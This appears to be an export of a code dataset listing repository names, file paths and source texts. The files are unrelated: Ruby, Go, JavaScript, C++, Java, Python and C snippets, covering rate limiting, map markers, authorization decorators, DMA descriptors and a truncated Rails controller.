repo_name
stringlengths
6
101
path
stringlengths
4
300
text
stringlengths
7
1.31M
andrewdotn/concurrent-ruby
examples/go-by-example-channels/rate-limiting.rb
<filename>examples/go-by-example-channels/rate-limiting.rb #!/usr/bin/env ruby $: << File.expand_path('../../../lib', __FILE__) require 'concurrent-edge' require 'time' Channel = Concurrent::Channel ## Go by Example: Rate Limiting # https://gobyexample.com/rate-limiting requests = Channel.new(buffer: :buffered, capacity: 5) (1..5).each do |i| requests << i end requests.close limiter = Channel.ticker(0.2) requests.each do |req| print "request #{req} #{Channel::Tick.new}\n" if ~limiter end print "\n" bursty_limiter = Channel.new(buffer: :buffered, capacity: 3) (1..3).each do bursty_limiter << Channel::Tick.new end ticker = Channel.ticker(0.2) Channel.go do ticker.each do |t| bursty_limiter << t end end bursty_requests = Channel.new(buffer: :buffered, capacity: 5) (1..5).each do |i| bursty_requests << i end bursty_requests.close bursty_requests.each do |req| ~bursty_limiter print "request #{req} #{Channel::Tick.new}\n" end limiter.close ticker.close __END__ request 1 2012-10-19 00:38:18.687438 +0000 UTC request 2 2012-10-19 00:38:18.887471 +0000 UTC request 3 2012-10-19 00:38:19.087238 +0000 UTC request 4 2012-10-19 00:38:19.287338 +0000 UTC request 5 2012-10-19 00:38:19.487331 +0000 UTC request 1 2012-10-19 00:38:20.487578 +0000 UTC request 2 2012-10-19 00:38:20.487645 +0000 UTC request 3 2012-10-19 00:38:20.487676 +0000 UTC request 4 2012-10-19 00:38:20.687483 +0000 UTC request 5 2012-10-19 00:38:20.887542 +0000 UTC
cyberfined/qna
vendor/bundle/ruby/2.7.0/gems/diff-lcs-1.4.4/spec/traverse_sequences_spec.rb
# frozen_string_literal: true require 'spec_helper' describe 'Diff::LCS.traverse_sequences' do describe 'callback with no finishers' do describe 'over (seq1, seq2)' do before(:each) do @callback_s1_s2 = simple_callback_no_finishers Diff::LCS.traverse_sequences(seq1, seq2, @callback_s1_s2) @callback_s2_s1 = simple_callback_no_finishers Diff::LCS.traverse_sequences(seq2, seq1, @callback_s2_s1) end it 'has the correct LCS result on left-matches' do expect(@callback_s1_s2.matched_a).to eq(correct_lcs) expect(@callback_s2_s1.matched_a).to eq(correct_lcs) end it 'has the correct LCS result on right-matches' do expect(@callback_s1_s2.matched_b).to eq(correct_lcs) expect(@callback_s2_s1.matched_b).to eq(correct_lcs) end it 'has the correct skipped sequences with the left sequence' do expect(@callback_s1_s2.discards_a).to eq(skipped_seq1) expect(@callback_s2_s1.discards_a).to eq(skipped_seq2) end it 'has the correct skipped sequences with the right sequence' do expect(@callback_s1_s2.discards_b).to eq(skipped_seq2) expect(@callback_s2_s1.discards_b).to eq(skipped_seq1) end it 'does not have anything done markers from the left or right sequences' do expect(@callback_s1_s2.done_a).to be_empty expect(@callback_s1_s2.done_b).to be_empty expect(@callback_s2_s1.done_a).to be_empty expect(@callback_s2_s1.done_b).to be_empty end end describe 'over (hello, hello)' do before(:each) do @callback = simple_callback_no_finishers Diff::LCS.traverse_sequences(hello, hello, @callback) end it 'has the correct LCS result on left-matches' do expect(@callback.matched_a).to eq(hello.split(//)) end it 'has the correct LCS result on right-matches' do expect(@callback.matched_b).to eq(hello.split(//)) end it 'has the correct skipped sequences with the left sequence', :only => true do expect(@callback.discards_a).to be_empty end it 'has the correct skipped sequences with the right sequence' do expect(@callback.discards_b).to be_empty end it 'does not have anything done markers from the left or right sequences' do expect(@callback.done_a).to be_empty expect(@callback.done_b).to be_empty end end describe 'over (hello_ary, hello_ary)' do before(:each) do @callback = simple_callback_no_finishers Diff::LCS.traverse_sequences(hello_ary, hello_ary, @callback) end it 'has the correct LCS result on left-matches' do expect(@callback.matched_a).to eq(hello_ary) end it 'has the correct LCS result on right-matches' do expect(@callback.matched_b).to eq(hello_ary) end it 'has the correct skipped sequences with the left sequence' do expect(@callback.discards_a).to be_empty end it 'has the correct skipped sequences with the right sequence' do expect(@callback.discards_b).to be_empty end it 'does not have anything done markers from the left or right sequences' do expect(@callback.done_a).to be_empty expect(@callback.done_b).to be_empty end end end describe 'callback with finisher' do before(:each) do @callback_s1_s2 = simple_callback Diff::LCS.traverse_sequences(seq1, seq2, @callback_s1_s2) @callback_s2_s1 = simple_callback Diff::LCS.traverse_sequences(seq2, seq1, @callback_s2_s1) end it 'has the correct LCS result on left-matches' do expect(@callback_s1_s2.matched_a).to eq(correct_lcs) expect(@callback_s2_s1.matched_a).to eq(correct_lcs) end it 'has the correct LCS result on right-matches' do expect(@callback_s1_s2.matched_b).to eq(correct_lcs) expect(@callback_s2_s1.matched_b).to eq(correct_lcs) end it 'has the correct skipped sequences for the left sequence' do expect(@callback_s1_s2.discards_a).to eq(skipped_seq1) expect(@callback_s2_s1.discards_a).to eq(skipped_seq2) end it 'has the correct skipped sequences for the right sequence' do expect(@callback_s1_s2.discards_b).to eq(skipped_seq2) expect(@callback_s2_s1.discards_b).to eq(skipped_seq1) end it 'has done markers differently-sized sequences' do expect(@callback_s1_s2.done_a).to eq([['p', 9, 's', 10]]) expect(@callback_s1_s2.done_b).to be_empty # 20110731 I don't yet understand why this particular behaviour # isn't transitive. expect(@callback_s2_s1.done_a).to be_empty expect(@callback_s2_s1.done_b).to be_empty end end end
herb-go/DEPRECATED
member/data.go
<gh_stars>0 package member //DEPRECATED import ( "github.com/herb-go/deprecated/cache" "github.com/herb-go/deprecated/cache/datastore" ) //ServiceData member user data module. //DEPRECATED type ServiceData struct { service *Service } //Cache Return member user data cache. //DEPRECATED func (s *ServiceData) Cache(field string) cache.Cacheable { return s.service.DataCache } //Clean clean member user data cache by uid. //DEPRECATED func (s *ServiceData) Clean(field string, uid string) error { return s.Cache(field).Del(uid) } //Load load and cache user data map from provider. //Return any error if raised. //DEPRECATED func (s *ServiceData) Load(field string, data datastore.Store, keys ...string) error { p := s.service.DataProviders[field] return datastore.Load( data, s.Cache(field), p.SourceLoader, p.Creator, keys..., ) }
toponinja/nakarte
src/lib/leaflet.control.printPages/pageFeature.js
<reponame>toponinja/nakarte<filename>src/lib/leaflet.control.printPages/pageFeature.js import L from 'leaflet'; import './page-feature.css'; const PageFeature = L.Marker.extend({ initialize: function(centerLatLng, paperSize, scale, label) { this.paperSize = paperSize; this.scale = scale; var icon = L.divIcon({className: "print-page-marker", html: label}); L.Marker.prototype.initialize.call(this, centerLatLng, { icon: icon, draggable: true, title: 'Left click to rotate, right click for menu' } ); this.on('drag', this.updateView.bind(this, undefined)); }, onAdd: function(map) { L.Marker.prototype.onAdd.call(this, map); map.on('viewreset', () => this.updateView()); this.rectangle = L.rectangle([[0, 0], [0, 0]], {color: '#ff7800', weight: 2, opacity: 0.7, fillOpacity: 0.2} ).addTo(map); this.updateView(); }, onRemove: function(map) { map.off('viewreset', this.updateView, this); L.Marker.prototype.onRemove.call(this, map); this.rectangle.removeFrom(map); }, getLatLngBounds: function() { return this.latLngBounds; }, _getLatLngBounds: function() { const centerLatLng = this.getLatLng(); const centerMerc = L.Projection.SphericalMercator.project(centerLatLng); const mercatorScale = (Math.cos((centerLatLng.lat * Math.PI) / 180) * L.CRS.Earth.R) / L.Projection.SphericalMercator.R; const mercatorPageSize = L.point(...this.paperSize).multiplyBy(this.scale / 10 / mercatorScale); let sw = centerMerc.subtract(mercatorPageSize.divideBy(2)); let ne = centerMerc.add(mercatorPageSize.divideBy(2)); sw = L.Projection.SphericalMercator.unproject(sw); ne = L.Projection.SphericalMercator.unproject(ne); return L.latLngBounds([sw, ne]); }, _animateZoom: function(e) { L.Marker.prototype._animateZoom.call(this, e); this.updateView(e.zoom); }, updateView: function(newZoom) { if (!this._map) { return; } if (newZoom === undefined) { newZoom = this._map.getZoom(); } var bounds = this.latLngBounds = this._getLatLngBounds(); var pixel_sw = this._map.project(bounds.getSouthWest(), newZoom); var pixel_ne = this._map.project(bounds.getNorthEast(), newZoom); var pixel_center = this._map.project(this.getLatLng(), newZoom); var st = this._icon.style; var pixel_width = pixel_ne.x - pixel_sw.x; var pixel_height = pixel_sw.y - pixel_ne.y; st.width = `${pixel_width}px`; st.height = `${pixel_height}px`; st.marginLeft = `${pixel_sw.x - pixel_center.x}px`; st.marginTop = `${pixel_ne.y - pixel_center.y}px`; st.fontSize = `${Math.min(pixel_width, pixel_height, 500) / 2}px`; st.lineHeight = `${pixel_height}px`; this.rectangle.setBounds(bounds); }, setLabel: function(s) { this._icon.innerHTML = s; }, getLabel: function() { return this._icon.innerHTML; }, setSize: function(paperSize, scale) { this.paperSize = paperSize; this.scale = scale; this.updateView(); }, getPrintSize: function() { return L.point(...this.paperSize); }, rotate: function() { this.paperSize = [this.paperSize[1], this.paperSize[0]]; this.updateView(); } } ); export default PageFeature;
iplo/Chain
chrome/browser/ui/find_bar/find_bar_state_factory.cc
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/find_bar/find_bar_state_factory.h" #include "chrome/browser/profiles/incognito_helpers.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/ui/find_bar/find_bar_state.h" #include "components/browser_context_keyed_service/browser_context_dependency_manager.h" // static FindBarState* FindBarStateFactory::GetForProfile(Profile* profile) { return static_cast<FindBarState*>( GetInstance()->GetServiceForBrowserContext(profile, true)); } // static base::string16 FindBarStateFactory::GetLastPrepopulateText(Profile* p) { FindBarState* state = GetForProfile(p); base::string16 text = state->last_prepopulate_text(); if (text.empty() && p->IsOffTheRecord()) { // Fall back to the original profile. state = GetForProfile(p->GetOriginalProfile()); text = state->last_prepopulate_text(); } return text; } // static FindBarStateFactory* FindBarStateFactory::GetInstance() { return Singleton<FindBarStateFactory>::get(); } FindBarStateFactory::FindBarStateFactory() : BrowserContextKeyedServiceFactory( "FindBarState", BrowserContextDependencyManager::GetInstance()) { } FindBarStateFactory::~FindBarStateFactory() {} BrowserContextKeyedService* FindBarStateFactory::BuildServiceInstanceFor( content::BrowserContext* profile) const { return new FindBarState; } content::BrowserContext* FindBarStateFactory::GetBrowserContextToUse( content::BrowserContext* context) const { return chrome::GetBrowserContextOwnInstanceInIncognito(context); }
Doctusoft/gwt-bootstrap-mock-2.3.2.0
src/main/java/com/github/gwtbootstrap/client/ui/AlertBlock.java
/* * Copyright 2012 GWT-Bootstrap * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.github.gwtbootstrap.client.ui; import com.github.gwtbootstrap.client.ui.base.AlertBase; import com.github.gwtbootstrap.client.ui.constants.AlertType; import com.github.gwtbootstrap.client.ui.constants.Constants; /** * Alert block widget with more padding than {@link Alert}. It has a dedicated * heading in an extra row. * * <p> * <h3>UiBinder Usage:</h3> * <code>{@code <b:AlertBlock heading="Warning." type="ERROR">Something went wrong...</AlertBlock>}</code> * </p> * <p> * All parameters are optional and map to the class's setters. * </p> * * @since 2.0.4.0 * * @author <NAME> * * @see Alert * @see <a * href="http://getbootstrap.com/2.3.2/components.html#alerts">Bootstrap * documentation</a> */ public class AlertBlock extends AlertBase { private Heading heading = new Heading(4); /** * Creates an empty widget with a close icon. */ public AlertBlock() { this(""); } public AlertBlock(String html) { super(html); setUp(); } private void setUp() { super.addStyleName(Constants.ALERT_BLOCK); heading.setStyleName(Constants.ALERT_HEADING); getHeadingContainer().add(heading); } /** * Initializes the widget with an optional close icon. * * @param hasClose * whether the Alert should have a close icon. */ public AlertBlock(boolean hasClose) { super("", hasClose); setUp(); } /** * Creates an Alert with a close icon and the given style. * * @param type * of the Alert */ public AlertBlock(AlertType type) { super(type); setUp(); } /** * {@inheritDoc} */ @Override public void setType(AlertType type) { super.setType(type); addStyleName(Constants.ALERT_BLOCK); } /** * Sets the text of an optional heading. It is wrapped in {@code <h4>} tags * and placed above the text. */ @Override public void setHeading(String text) { heading.setText(text); } }
Rainloury/node-api
app.redis.js
<reponame>Rainloury/node-api<gh_stars>0 'use strict'; const seneca = require('seneca'); const schedule = require('node-schedule'); const apollo = require('node-apollo'); const config = { configServerUrl: process.env.APOLLO, appId: 'node-api', clusterName: 'default', namespaceName: ['application'] }; apollo.remoteConfigServiceSkipCache(config).then(result => { console.log('成功获取配置信息'); console.log(result); for (let k in result) { process.env[k] = result[k]; } let redisService = seneca({ debug: {undead: true}, timeout: 360000 }); redisService .use('basic') .use('seneca-standard-query') .use('seneca-store-query') .use('entity'); if(process.env.REDIS) { redisService.use('redis-store', { uri: process.env.REDIS, options: { disable_resubscribing: false, no_ready_check: true } }); } redisService.use(require('./service/micro/redis')).listen({port: process.env.REDIS_PORT, pin: 'role:redis'}); redisService.ready(() => { redisService.log.info('+++++++++++++ Redis 服务启动 ++++++++++++'); schedule.scheduleJob('XXXX', function() { redisService.make('api-redis').native$((err, connectionPool) => { connectionPool.get('heart_detection', (err, t) => { console.log(t); }) }) }) }) })
axelpavageau/django-DefectDojo
dojo/authorization/authorization_decorators.py
<filename>dojo/authorization/authorization_decorators.py import functools from django.conf import settings from django.core.exceptions import PermissionDenied from django.shortcuts import get_object_or_404 from dojo.authorization.authorization import user_has_permission_or_403 from dojo.user.helper import user_is_authorized as legacy_check def user_is_authorized(model, permission, arg, legacy_permission=None, lookup="pk", func=None): """Decorator for functions that ensures the user has permission on an object. """ if func is None: return functools.partial(user_is_authorized, model, permission, arg, legacy_permission, lookup) @functools.wraps(func) def _wrapped(request, *args, **kwargs): # Fetch object from database if isinstance(arg, int): # Lookup value came as a positional argument args = list(args) lookup_value = args[arg] else: # Lookup value was passed as keyword argument lookup_value = kwargs.get(arg) # object must exist obj = get_object_or_404(model.objects.filter(**{lookup: lookup_value})) if settings.FEATURE_AUTHORIZATION_V2: user_has_permission_or_403(request.user, obj, permission) else: if legacy_permission: if not legacy_check(request.user, legacy_permission, obj): raise PermissionDenied() elif not request.user.is_staff: raise PermissionDenied() return func(request, *args, **kwargs) return _wrapped
hsqStephenZhang/leetcode-go
leetcode/lc24/main.go
package main import "fmt" type ListNode struct { Val int Next *ListNode } func swapPairs(head *ListNode) *ListNode { dummy := &ListNode{Next: head} cur := dummy for { first := cur.Next if first == nil || first.Next == nil { break } second := first.Next secondNext := second.Next cur.Next = second second.Next = first first.Next = secondNext cur = first } return dummy.Next } func main() { head := &ListNode{Val: 1, Next: &ListNode{Val: 2, Next: &ListNode{Val: 3, Next: nil}}} head = swapPairs(head) for head != nil { fmt.Println(head.Val) head = head.Next } }
onesword0618/leetcode
src/test/arrayStringsAreEqual.test.js
<reponame>onesword0618/leetcode<gh_stars>0 const arrayStringsAreEqual = require("./../main/arrayStringsAreEqual"); // Question // Given two string arrays word1 and word2, // return true if the two arrays represent the same string, and false otherwise. // A string is represented by an array // if the array elements concatenated in order forms the string. describe("2つの文字列の配列が同等かどうかを確認した結果を返却する", () => { describe("arrayStringsAreEqual(string[] word1, string[] word2) を実行するとき", () => { test("word1 = [ab,c], word2 = [a,bc] を入力してtrueが返却されること", () => { expect(arrayStringsAreEqual(["ab", "c"], ["a", "bc"])).toBeTruthy(); }); test("word1 = [a,cb], word2 = [ab,cb] を入力してfalseが返却されること", () => { expect(arrayStringsAreEqual(["a", "cb"], ["ab", "cb"])).toBeFalsy(); }); test("word1 = [abc,d,defg], word2 = [abcddefg] を入力してtrueが返却されること", () => { expect( arrayStringsAreEqual(["abc", "d", "defg"], ["abcddefg"]) ).toBeTruthy(); }); }); });
reevespaul/firebird-qa
tests/bugs/core_4200_test.py
<gh_stars>0 #coding:utf-8 # # id: bugs.core_4200 # title: An uncommitted select of the pseudo table sec$users blocks new database connections # decription: # Checked on: 4.0.0.1635: OK, 1.866s; 3.0.5.33180: OK, 1.869s. # # tracker_id: CORE-4200 # min_versions: ['3.0'] # versions: 3.0 # qmid: None import pytest from firebird.qa import db_factory, isql_act, Action # version: 3.0 # resources: None substitutions_1 = [('[ \t]+', ' '), ('=', '')] init_script_1 = """ -- Drop old account if it remains from prevoius run: set term ^; execute block as begin begin execute statement 'drop user tmp$c4200_leg using plugin Legacy_UserManager' with autonomous transaction; when any do begin end end begin execute statement 'drop user tmp$c4200_srp using plugin Srp' with autonomous transaction; when any do begin end end end ^ set term ;^ commit; create user tmp$c4200_leg password '<PASSWORD>' using plugin Legacy_UserManager; create user tmp$c4200_srp password '<PASSWORD>' using plugin Srp; commit; """ db_1 = db_factory(sql_dialect=3, init=init_script_1) # test_script_1 #--- # # db_conn.close() # # custom_tpb = fdb.TPB() # custom_tpb.access_mode = fdb.isc_tpb_read # custom_tpb.isolation_level = (fdb.isc_tpb_read_committed, fdb.isc_tpb_rec_version) # custom_tpb.lock_resolution = fdb.isc_tpb_nowait # # con1=fdb.connect(dsn = dsn, user = 'SYSDBA', password = '<PASSWORD>') # trn1=con1.trans( default_tpb = custom_tpb ) # cur1=trn1.cursor() # cur1.execute('select sec$user_name from sec$users') # for r in cur1: # pass # # #custom_con = fdb.Connection() # #custom_con._default_tpb = custom_tpb # # con2=fdb.connect( dsn = dsn, user = 'tmp$c4200_leg', password = '<PASSWORD>') #, connection_class = custom_con) # con3=fdb.connect( dsn = dsn, user = 'tmp$c4200_srp', password = '<PASSWORD>') #, connection_class = custom_con) # # check_sql='select mon$user as who_am_i, mon$auth_method as auth_method from mon$attachments' # # trn2=con2.trans( default_tpb = custom_tpb ) # cur2=trn2.cursor() # cur2.execute(check_sql) # # trn3=con3.trans( default_tpb = custom_tpb ) # cur3=trn3.cursor() # cur3.execute(check_sql) # # for c in (cur2, cur3): # cur_cols=c.description # for r in c: # for i in range(0,len(cur_cols)): # print( cur_cols[i][0],':', r[i] ) # c.close() # # trn2.rollback() # trn3.rollback() # # con2.close() # con3.close() # # cur1.close() # con1.execute_immediate('drop user tmp$c4200_leg using plugin Legacy_UserManager') # con1.execute_immediate('drop user tmp$c4200_srp using plugin Srp') # con1.commit() # # #--- #act_1 = python_act('db_1', test_script_1, substitutions=substitutions_1) expected_stdout_1 = """ WHO_AM_I : TMP$C4200_LEG AUTH_METHOD : Legacy_Auth WHO_AM_I : TMP$C4200_SRP AUTH_METHOD : Srp """ @pytest.mark.version('>=3.0') @pytest.mark.xfail def test_1(db_1): pytest.fail("Test not IMPLEMENTED")
Kirito56/lsm-matlab
csim/src/forceable.h
<reponame>Kirito56/lsm-matlab /*! \file forceable.h ** \brief Class definition of Forcable */ #ifndef _FORCEABLE_H_ #define _FORCEABLE_H_ #include "advanceable.h" class Teacher; //! Base class for all objects we can be forced (by some teacher; see class Teacher) to produce a given target output /** <b>Forcing an object</b> To be able to teach/force an object in a proper way we decided to split the two steps (calculate next state and output the result) which are usually done within the advance() method into two explicit pieces: the class Forceable introduces the two methods nextstate() and output() which represent this two steps. In addition the method force() allows a potential teacher (see class Teacher) to intervene and to force the object to give a certain output. <b>Implementing foreable objects</b> Each object derived from Forceable must implement the three methods nextstate(), force() and output(). One \e must \e not implement advance()! This is hardcoded as a call to nextstate(); directly followd by output(). nextstate() shoud perform the usual numeric calculations/integration. It should store the result for further usage by output(). The call to output() should then propagate the results to the outgoing objects. <b>Active teacher</b> If teacher forcing is active a teacher will call force() \e between the calls to nextstate() and output() and is thus able to force acertain output (and also to overwrite any results computed by advance()). However for efficiency reasons it is left to the teacher if a call to nextstate() is necessary at all (since the result may be overwritten) and it may well be the case the during simulations with an active teacher nextstate() does not get called. <b>Inactive teacher</b> During each simulation step advance() gets called which in turn calls nextstate() and \a output. \sa Teacher, SpikingTeacher, AnalogTeacher, SpikingSRCTeacher */ class Forceable : public Advancable { public: //! The constructor ... Forceable(void) { myTeacher = 0; } virtual ~Forceable(void){}; //! Calculate the next state of the object but <b>do not send</b> it to outgoing objects virtual double nextstate(void)=0; //! Allows some teacher to force a certain output or to overwrite what was computed during the call of nextstate(). virtual void force(double y)=0; //! W call to output should actually promotes the output (actual or teacher) to the outgoing objects. virtual void output(void)=0; //! Advance of forcable objects is the sequence: nextstate(); output(); return 1; inline int advance(void) { nextstate(); output(); return 1; } //! If \c potentialTeacher is actually a teach then we will store that pointer (in \c myTeacher) virtual int addIncoming(Advancable *potentialTeacher); //! The teacher who will teach me (NULL for no teacher). Teacher *myTeacher; }; #endif
Skrrrrrrrrrrrr/802.11-TDMA-WIFI
sboot/magpie_1_1/sboot/dma_engine/src/desc.c
/* * Copyright (c) 2013 Qualcomm Atheros, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted (subject to the limitations in the * disclaimer below) provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the * distribution. * * * Neither the name of Qualcomm Atheros nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE * GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT * HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /************************************************************************/ /* Copyright (c) 2013 Qualcomm Atheros, All Rights Reserved. */ /* */ /* Module Name : desc.c */ /* */ /* Abstract */ /* This module contains DMA descriptors handle functions. */ /* */ /* ROUTINES */ /* */ /* zfDmaInitDescriptor */ /* zfDmaGetPacket */ /* zfDmaReclaimPacket */ /* zfDmaPutPacket */ /* */ /* NOTES */ /* None */ /* */ /************************************************************************/ #include "dt_defs.h" #include "string.h" //#include "gv_extr.h" #include "reg_defs.h" //#include "uart_extr.h" #include <osapi.h> //#include <HIF_api.h> //#include "HIF_usb.h" #include <Magpie_api.h> #include <vdesc_api.h> #include "desc.h" /* Function prototypes */ //void zfDmaInitDescriptor(void); struct zsDmaDesc* zfDmaGetPacket(struct zsDmaQueue* q); void zfDmaReclaimPacket(struct zsDmaQueue* q, struct zsDmaDesc* desc); void zfDmaPutPacket(struct zsDmaQueue* q, struct zsDmaDesc* desc); /************************************************************************/ /* */ /* FUNCTION DESCRIPTION zfDmaGetPacket */ /* Get a completed packet with # descriptors. Return the first */ /* descriptor and pointer the head directly by lastAddr->nextAddr */ /* */ /* ROUTINES CALLED */ /* */ /* INPUTS */ /* struct zsDmaQueue* q */ /* */ /* OUTPUTS */ /* struct zsDmaDesc* desc */ /* */ /* AUTHOR */ /* <NAME> ZyDAS Communication Corporation 2005.10 */ /* */ /* NOTES */ /* */ /************************************************************************/ struct zsDmaDesc* zfDmaGetPacket(struct zsDmaQueue* q) { struct zsDmaDesc* desc = NULL; if(q->head == q->terminator) return NULL; if (((q->head->status & ZM_OWN_BITS_MASK) == ZM_OWN_BITS_SW) || ((q->head->status & ZM_OWN_BITS_MASK) == ZM_OWN_BITS_SE)) //if ( (((q->head->status & ZM_OWN_BITS_MASK) == ZM_OWN_BITS_SW) && ((u32_t)q != (u32_t)&zgDnQ)) // || (((q->head->status & ZM_OWN_BITS_MASK) == ZM_OWN_BITS_SE) && ((u32_t)q == (u32_t)&zgDnQ)) ) { desc = q->head; q->head = desc->lastAddr->nextAddr; } return desc; } /************************************************************************/ /* */ /* FUNCTION DESCRIPTION zfDmaReclaimPacket */ /* Free descriptor. */ /* Exchange the terminator and the first descriptor of the packet */ /* for hardware ascy... . */ /* */ /* ROUTINES CALLED */ /* */ /* INPUTS */ /* struct zsDmaQueue* q */ /* struct zsDmaDesc* desc */ /* */ /* OUTPUTS */ /* */ /* AUTHOR */ /* <NAME> ZyDAS Communication Corporation 2005.10 */ /* */ /* NOTES */ /* */ /************************************************************************/ void zfDmaReclaimPacket(struct zsDmaQueue* q, struct zsDmaDesc* desc) { struct zsDmaDesc* tmpDesc; struct zsDmaDesc tdesc; VDESC *vdesc; VDESC *vtermdesc; //int tmp; //u8_t *tmpAddr; /* 1. Set OWN bit to 1 for all TDs to be added, clear ctrl and size */ tmpDesc = desc; while (1) { tmpDesc->status = ZM_OWN_BITS_HW; tmpDesc->ctrl = 0; tmpDesc->totalLen = 0; #if ZM_FM_LOOPBACK == 1 vdesc = VDESC_HW_TO_VDESC(tmpDesc); tmpDesc->dataSize = vdesc->buf_size; #endif //A_PRINTF("tmpDesc->dataSize = %d\n", (u32_t)tmpDesc->dataSize); /* TODO : Exception handle */ if (desc->lastAddr == tmpDesc) { break; } tmpDesc = tmpDesc->nextAddr; } /* 3. Next address of Last TD to be added = first TD */ desc->lastAddr->nextAddr = desc; /* 2. Copy first TD to be added to TTD */ //zfMemoryCopyInWord(&tdesc, desc, sizeof(struct zsDmaDesc)); A_MEMCPY(&tdesc, desc, sizeof(struct zsDmaDesc)); /* 4. set first TD OWN bit to 0 */ desc->status &= (~ZM_OWN_BITS_MASK); /* 5. Copy TTD to last TD */ tdesc.status &= (~ZM_OWN_BITS_MASK); vdesc = VDESC_HW_TO_VDESC(desc); vtermdesc = VDESC_HW_TO_VDESC(q->terminator); VDESC_swap_vdesc(vtermdesc, vdesc); //zfMemoryCopyInWord((void*)q->terminator, (void*)&tdesc, sizeof(struct zsDmaDesc)); A_MEMCPY((void*)q->terminator, (void*)&tdesc, sizeof(struct zsDmaDesc)); //desc->dataSize = 0; //desc->dataAddr = 0; q->terminator->status |= ZM_OWN_BITS_HW; /* Update terminator pointer */ q->terminator = desc; } /************************************************************************/ /* */ /* FUNCTION DESCRIPTION zfDmaPutPacket */ /* Put a complete packet into the tail of the Queue q. */ /* Exchange the terminator and the first descriptor of the packet */ /* for hardware ascy... . */ /* */ /* ROUTINES CALLED */ /* */ /* INPUTS */ /* struct zsDmaQueue* q */ /* struct zsDmaDesc* desc */ /* */ /* OUTPUTS */ /* */ /* AUTHOR */ /* Stephen Chen ZyDAS Communication Corporation 2005.10 */ /* */ /* NOTES */ /* */ /************************************************************************/ void zfDmaPutPacket(struct zsDmaQueue* q, struct zsDmaDesc* desc) { struct zsDmaDesc* tmpDesc; struct zsDmaDesc tdesc; VDESC *vdesc; VDESC *vtermdesc; //u32_t tmp; //u8_t *tmpAddr; /* 1. Set OWN bit to 1 for all TDs to be added */ tmpDesc = desc; while (1) { tmpDesc->status = ((tmpDesc->status & (~ZM_OWN_BITS_MASK)) | ZM_OWN_BITS_HW); /* TODO : Exception handle */ if (desc->lastAddr == tmpDesc) { break; } tmpDesc = tmpDesc->nextAddr; } /* 3. Next address of Last TD to be added = first TD */ desc->lastAddr->nextAddr = desc; /* If there is only one descriptor, update pointer of last descriptor */ if (desc->lastAddr == desc) { desc->lastAddr = q->terminator; } /* 2. Copy first TD to be added to TTD */ A_MEMCPY(&tdesc, desc, sizeof(struct zsDmaDesc)); //tdesc.dataSize = 0; //tdesc.dataAddr = 0; /* 4. set first TD OWN bit to 0 */ desc->status &= (~ZM_OWN_BITS_MASK); /* 5. Copy TTD to last TD */ tdesc.status &= (~ZM_OWN_BITS_MASK); vdesc = VDESC_HW_TO_VDESC(desc); vtermdesc = VDESC_HW_TO_VDESC(q->terminator); VDESC_swap_vdesc(vtermdesc, vdesc); A_MEMCPY((void*)q->terminator, (void*)&tdesc, sizeof(struct zsDmaDesc)); q->terminator->status |= ZM_OWN_BITS_HW; /* Update terminator pointer */ q->terminator = desc; }
coolJenny/DMPtool-roadmap
app/controllers/org_admin/sections_controller.rb
<filename>app/controllers/org_admin/sections_controller.rb<gh_stars>0 module OrgAdmin class SectionsController < ApplicationController include Versionable respond_to :html after_action :verify_authorized # GET /org_admin/templates/[:template_id]/phases/[:phase_id]/sections def index authorize Section.new phase = Phase.includes(:template, :sections).find(params[:phase_id]) edit = phase.template.latest? && (current_user.can_modify_templates? && (phase.template.org_id == current_user.org_id)) render partial: 'index', locals: { template: phase.template, phase: phase, sections: phase.sections, current_section: phase.sections.first, modifiable: edit, edit: edit } end # GET /org_admin/templates/[:template_id]/phases/[:phase_id]/sections/[:id] def show section = Section.find(params[:id]) authorize section section = Section.includes(questions: [:annotations, :question_options]).find(params[:id]) render partial: 'show', locals: { template: Template.find(params[:template_id]), section: section } end # GET /org_admin/templates/[:template_id]/phases/[:phase_id]/sections/[:id]/edit def edit section = Section.includes({phase: :template}, questions: [:question_options, { annotations: :org }]).find(params[:id]) authorize section # User cannot edit a section if its not modifiable or the template is not the latest redirect to show render partial: (section.modifiable? && section.phase.template.latest? ? 'edit' : 'show'), locals: { template: section.phase.template, phase: section.phase, section: section } end # POST /org_admin/templates/[:template_id]/phases/[:phase_id]/sections def create phase = Phase.find(params[:phase_id]) if phase.present? section = Section.new(section_params.merge({ phase_id: phase.id })) authorize section begin section = get_new(section) if section.save flash[:notice] = success_message(_('section'), _('created')) redirect_to edit_org_admin_template_phase_path(template_id: section.phase.template.id, id: section.phase.id, section: section.id) else flash[:alert] = 